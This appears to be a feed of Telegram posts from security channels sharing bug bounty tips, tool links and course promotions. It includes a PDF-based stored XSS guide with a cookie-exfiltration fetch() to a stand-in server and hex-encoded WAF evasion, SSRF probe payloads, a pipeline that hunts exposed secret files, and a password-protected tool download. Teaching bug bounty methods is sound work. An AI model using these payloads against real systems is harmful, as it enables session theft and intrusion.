Claude Bug Bounty Hunter - Claude Code skill for AI-assisted bug bounty hunting - recon, IDOR, XSS, SSRF, OAuth, GraphQL, LLM injection, and report generation

https://github.com/shuvonsec/claude-bug-bounty

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

چگونه مهاجمان شناسایی پورت را انجام می‌دهند

سریع، منظم و مبتنی بر اطلاعات

شناسایی پورت مرحلهٔ فعال اول هر عملیات پس از OSINT است. هدف تنها دانستن این‌ که چه پورت‌ هایی باز هستند نیست بلکه فهمیدن ...

https://x.com/i/status/2068457347018608992

@KavehOffSec

Читать полностью…

Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 1

This article explores how to bypass Web Application Firewalls (WAFs) using PDF-based Stored XSS for bug bounty hunters. The technique involves embedding hex-encoded JavaScript payloads inside PDF structures (like fonts or content streams) and uploading them to platforms that preview PDFs. Since WAFs typically scan for obvious XSS tags or keywords, the obfuscated payloads often slip through. The method can yield both Stored and Blind XSS, depending on the environment. The article includes real-world examples, such as the CVE-2024–4367 vulnerability in PDF.js, and outlines a practical workflow for identifying upload features, crafting malicious PDFs, and validating PoCs. Severity varies based on impact, ranging from low to high. Responsible testing and ethical reporting are emphasized.

The Core Idea
Many platforms preview uploaded PDFs directly in the browser using:
Mozilla PDF.js (Firefox default, Chrome extensions, and countless web apps)
Embedded iframe viewers
If the renderer has a parsing or font-handling bug, a malicious payload hidden in the PDF structure can execute JavaScript.
Instead of dropping obvious <script>alert(1)</script> garbage that every scanner catches, you:
۱. Take a normal JavaScript payload
Example:
alert(document.domain)
or
fetch('https://your-server.com/log?c=' + document.cookie)
۲. Encode the entire payload as ASCII hex
Example:
\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
۳. Embed it into a minimal but valid PDF structure
The payload gets placed inside:
A font object
A glyph stream
A malformed object reference
Or a parsing edge case in the content stream
4. Upload the PDF to any feature that stores and previews documents
Typical targets:
Profile attachments
Support ticket uploads
Resume portals
Invoice systems
File-sharing features
5. Wait for someone to open or preview it
If the renderer is vulnerable, your JavaScript executes in the viewer’s context.
Congratulations. You just turned a boring PDF upload into a Stored or Blind XSS vector.

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

https://medium.com/p/ef4fbe28ceab

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

✎ ASN → IP Recon Workflow (BGPView alternative)

I used to rely on bgpview.io for extracting IP ranges from ASNs it was free and useful for recon workflows. But after it went down, I looked for an alternative and found this awesome repo:

• as-ip-blocks: Github

It lets you pull IPv4/IPv6 prefixes per ASN directly from raw GitHub data, which is ideal for automation.

</> Bash Function for ASN → IP Enumeration

You can plug this directly into your recon pipeline or customize it for your tools

asn2ip() {
  local base="https://raw.githubusercontent.com/ipverse/as-ip-blocks/master/as"

  fetch_asn() {
    curl -fsSL "$base/$1/aggregated.json" \
      | jq -r '.prefixes.ipv4[]?' 2>/dev/null \
      | sort -u
  }

  if [ ! -t 0 ]; then
    while IFS= read -r asn; do
      fetch_asn "$asn"
    done
  else
    fetch_asn "$1"
  fi
}

• Single ASN → IP Ranges

asn2ip 1234

• List of ASNs → IP Ranges

cat asnList | asn2ip

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

🔥 URILoot is a browser extension designed for Bug Bounty Hunters and Pentesters. Makes fetching uris easy from various sources.

https://github.com/rsingh0x/URILoot

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

🔖 چک‌ لیست VAPT امنیت شبکه

🥀 @TryHackBox
#Checklist

Читать полностью…

امروز چهلمِ جاوید نام‌هاییه که تو اعتراضات دی‌ماه، جونشون رو تو راه آزادی و کرامت انسانی از دست دادن.

روحشون شاد و یادشون گرامی 🤍🕊


Today marks the fortieth day since the tragic loss of the brave souls who sacrificed their lives during the protests in December, fighting for freedom and human dignity in Iran.

May their spirits rest in peace, and may we always remember their courage and sacrifice. 🤍🕊

For Iran 🕊

Читать полностью…

🔖 Practical Web Application Security and Testing

"Practical Web Application Security and Testing" is a foundational course on web application technologies, security concerns in web application development, and the process of penetration testing for web applications.

We will start with the basics of networks, servers, and clients, then move on to the OWASP Top 10, and conclude with a complete demonstration of penetration testing. We will also cover the process of reporting on web application assessments so that you are prepared not only to conduct security evaluations of web applications but also to communicate your findings clearly and effectively.

❤ Share & Support Us
🧩 #web #Security
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

Secure Coding Practices OWASP Based #Checklist, 200+ Test Cases, 2025

❤ Share & Support Us
🧩 #OWASP
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

⭕ OWASP Top 10 2025 Updates: Supply Chain, Secrets, And Misconfigurations Take Center Stage

🔖 Official page

❤ Share & Support Us
🧩 #OWASP
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

❤ Share & Support & Reaction Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

Friends, please support us to reach 3K subscribers. Thank you!🔥

Читать полностью…

Tip: Finding Potential SSRF Endpoints During Recon

SSRF often hides in plain sight. Many applications accept URLs or file paths as parameters, and those become prime targets.

A simple trick during recon is mining historical URLs and filtering parameters that typically fetch remote resources.

Example workflow:

echo "target.com" | waybackurls | grep -E "url=|uri=|path=|dest=|redirect=|window=|next=|target=|file=|html=|data=|reference="

What this does:

• Pulls archived endpoints from Wayback Machine
• Filters parameters commonly used for external requests
• Helps you quickly identify SSRF-like parameters

You will often find endpoints like:

/showimage.php?file=
/redirect?url=
/api/fetch?uri=
/download?path=

Once you find them, start testing with payloads such as:

http://127.0.0.1
http://169.254.169.254
http://burp-collaborator

If the server makes the request on your behalf, you might have an SSRF.

Small recon tricks like this save hours of manual hunting.

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 2

Why This Slips Past WAFs
Most file upload filters and WAFs look for:
<script> tags
Obvious HTML or JS keywords
Known payload signatures
A hex-encoded JavaScript payload buried inside a binary-ish PDF object looks like noise.
To a filter, it’s just bytes.
To a vulnerable PDF renderer, it’s executable logic.
This mismatch between security assumptions and parsing reality is what makes this technique durable.
Stored XSS vs Blind XSS
This method works in two useful modes.
Stored XSS
Your payload persists in the uploaded file.
Anyone who previews the file triggers execution.
Best for: Admin panel views , Internal support dashboards , Shared document portals
Blind XSS
Instead of alert(), your payload exfiltrates data.
Example behavior: Send cookies or tokens to your server, Log the victim’s URL, role, or IP, Fire a callback to confirm execution
This is perfect for:
Helpdesk uploads
Abuse report systems
Moderation queues
Anywhere staff quietly open files
Real-World Signals from the Community
This technique isn’t theorycrafting. It sits in the overlap between documented vulnerabilities and practical bug bounty findings.
1. PDF.js Execution Bugs
In 2024, Mozilla patched CVE-2024–4367, a vulnerability that allowed arbitrary JavaScript execution in PDF.js via a font-handling code path. Researchers demonstrated that malformed font objects could escape the intended sandbox and run attacker-controlled JS.
This class of bugs is exactly what makes PDF-based XSS viable.
Multiple private and public reports on HackerOne have flagged:
Stored XSS via file upload previews
PDF and SVG rendering quirks
JavaScript execution through third-party viewers
Even when not labeled “PDF XSS,” many reports follow the same pattern: unsafe rendering of attacker-supplied document formats.
3. Independent Researcher Techniques
Hunters like Orwa Godfather and others in the bug bounty community have shared payload patterns that:
Use hex-encoded JavaScript
Avoid standard HTML tags
Trigger execution during parsing or rendering
Bypass basic content scanners
These payloads have been quietly reused and adapted across programs with surprising success.

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

Hi everyone last week there was a wave of Telegram channel blocks in the OSINT community, and my second channel @osintgit was among those affected. Most channels have already been restored, but mine remains blocked. Please help forward the following message to Telegram support:

The @osintgit channel has been blocked. It contained links to articles, presentations from the author’s conference talks, and publicly available tools related to information security. The channel never published personal data or any other prohibited content. Please unblock this channel and remove the restrictions on.

Colleagues in the field have already managed to get the message through; with enough visibility we can do the same.

Please send the message to Telegram support bots:
@PressBot
@AmeliaTearheart
@BotSupport

Also use Telegram Support: Open Settings → “Ask a Question” → proceed to the question.

And email their official addresses:
dmca@telegram.org
security@telegram.org
recover@telegram.org
abuse@telegram.org
support@telegram.org

I would be grateful for reposts of this post it greatly increases the chances of getting the channel unblocked.

Читать полностью…

Sensitive Information Leak via api call
Severity: 9.1

From /api/contact an unauthenticated user can view all the private messages which only can show from Admin Panel.

tip:
always collect /api/ endpoints and try GET, POST etc methods.

if you guy’s really enjoy to read such methods, react ❤️

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی

این کتاب معرفی کامل و کاربردی‌ای به دنیای «باگ بانتی» ارائه می‌دهد. این برنامه برای علاقه‌مندان به امنیت سایبری، پنتسترها، و توسعه‌دهندگانی طراحی شده که می‌خواهند کشف آسیب ‌پذیری ‌ها در برنامه ‌های واقعی را بیاموزند؛ تمرکز آن بر مهارت ‌های عملی، متدولوژی ‌های تست مدرن، و اصول هک اخلاقی است.


توضیحات کتاب
نمونه کتاب

💰 قیمت : ۳۶۰,۰۰۰ تومان
🔥  با تخفیف : ۳۱۰،۰۰۰ تومان

📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport

Читать полностью…

🔥 TIP: Automate Secret Hunting Like a Pro
Manual hunting is slow. Automation scales.

Instead of randomly browsing subdomains, pipe your recon properly:

subfinder -d target.com -silent | httpx -silent | gau | grep -Ei "\.env|config|backup"


What this really means is:

• subfinder → enumerate subdomains
• httpx → filter alive hosts
• gau → pull historical URLs
• grep → hunt for juicy patterns like .env, config, backup

You’re basically combining live assets + historical endpoints + pattern filtering in one clean chain.

This approach often reveals:

Exposed environment files
Backup endpoints
Forgotten config files
Hidden OpenID configurations
JS config leaks

Most hunters stop at subdomain enumeration. Smart hunters pivot into URL discovery and pattern extraction.

Automation doesn’t replace thinking. It multiplies it.

Test responsibly. Stay within scope. Move fast, think slow.

❤ Share & Support Us
🧩 #BugBounty
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

pass: 311138

README (en+ru) inside, plz read it before run BS.

Happy Hacking! 🥳

Run with Java 18 or Java 22 with JDK21+

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️

📖 Cyber ​​Security books and sources
📚 @LibrarySecOfficial

💠 Blueteam sources:
⭕️ @BlueTeamKit

💠 Osint tools and courses:

⭕️ @OsintGit

💠 Cyber ​​Security Courses and Resources & Learn Bug bounty:

⭕ @BackupLso


💠 All Red Team resources are here!

⭕ @RedTeamVillageRtv


💠 To add to the message list:
🤖 @LibrarySecOfficialBot

⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️⚜️

Читать полностью…

📖 Secure Coding Practices OWASP Based Checklist, 200+ Test Cases, 2025

I just reviewed one of the most complete Secure Coding Practice guides I’ve seen a 200+ test case, OWASP-aligned, multi-language blueprint that exposes how fragile most applications really are.

❤ Share & Support Us
🧩 #OWASP
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

🚨🚨 به زودی نت ملی میشه این کانالها را داشته باش 👇

Proxy :
/channel/+4-GLHdg6IpNkZWQ0

V2ray Config :
/channel/+E45B9TJB51wxYjQ8

Npv Spara :
/channel/+pZVOLjc9GHA1MmE0

Читать полностью…

Deep-Dive Drop: Dev(sec)Ops Process for Dummies 🐜⚙️

Most teams ship code to production in minutes… and trust a few YAML lines not to burn the house down

In this guide, I break down how one missing security gate in a CI/CD pipeline led to a 47-minute attack and $4M+ in damage—and how to redesign your processes so it never happens again.

🔍 The 3:47 AM Incident
• Step-by-step timeline from alert → triage → forensics → root cause
• How a “hotfix” branch, skipped scans, and an expired token led to full domain compromise

🏗 Secure vs Insecure DevOps Patterns
• Manual approval gates, shared service accounts, static tokens, no baselines
• Secure alternatives: immutable workflows, environment-specific gates, anomaly detection, auto-rollback, ephemeral creds

🧩 8 Core Processes Across the SDLC
• Vulnerability scanning (SAST/SCA/DAST/Cloud/IaC)
• CI/CD pipeline security and workflow hardening
• Infrastructure change management (Terraform / K8s / cloud)


📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

JWT Security – Complete Enterprise Implementation for Modern Apps 🛡

🔐 JWT Architecture & Design
• Header, payload, signature internals
• Secure use of alg, kid, and claim design
• Stateless vs session-based auth from a security lens

💣 Real-World Vulnerabilities
• Algorithm confusion (none, RS256→HS256) with full exploit + fix
• Key management pitfalls (weak secrets, kid path-traversal, JWKS abuse)
• Token storage risks (localStorage, extensions, XSS, supply-chain issues)

🧬 Secure Implementation Blueprint
• End-to-end JWT lifecycle: auth → issuance → storage → usage → refresh → revocation
• Device binding, replay detection, anomaly detection & rate limiting
• Production-ready JWT service with Redis, logging, metrics & audit trails

🛠 Code You Can Drop Into Your Stack
• Python & Node-style examples
• Secure header/payload builders
• Signature verification pipelines with strict algorithm whitelisting
• Key rotation strategy with kid and overlapping keys

🧩 #JWT
📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

Complete SQLMap Database Penetration Testing Guide by Harshit Rajpal & Aarti Singh

This PDF breaks down SQLMap from beginner to advanced level, with real-world examples, commands, and workflows that mirror what you’d do in an actual assessment.

🔹 SQL Injection Detection
– Error-based, Boolean-based, Time-based
– Identifying vulnerable parameters
– Breaking queries to trigger server errors

🔹 Database Enumeration
– Listing DBMS names
– Enumerating databases, tables, columns
– Extracting sensitive data safely

🔹 Data Extraction Techniques
– Dumping specific tables
– Full database dumps
– Hash extraction and format recognition

🔹 SQLMap Targeting Options
– -u for single URL targeting
– Attacking from log files
– Bulk attack using multiple URLs
– Using Google Dorks with SQLMap
– Running SQLMap on intercepted HTTP requests (-r option)

🔹 File System & OS Interaction
– Uploading / downloading files
– Executing system commands
– Out-of-band shells and Meterpreter sessions


📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…

❤ Share & Support & Reaction Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Читать полностью…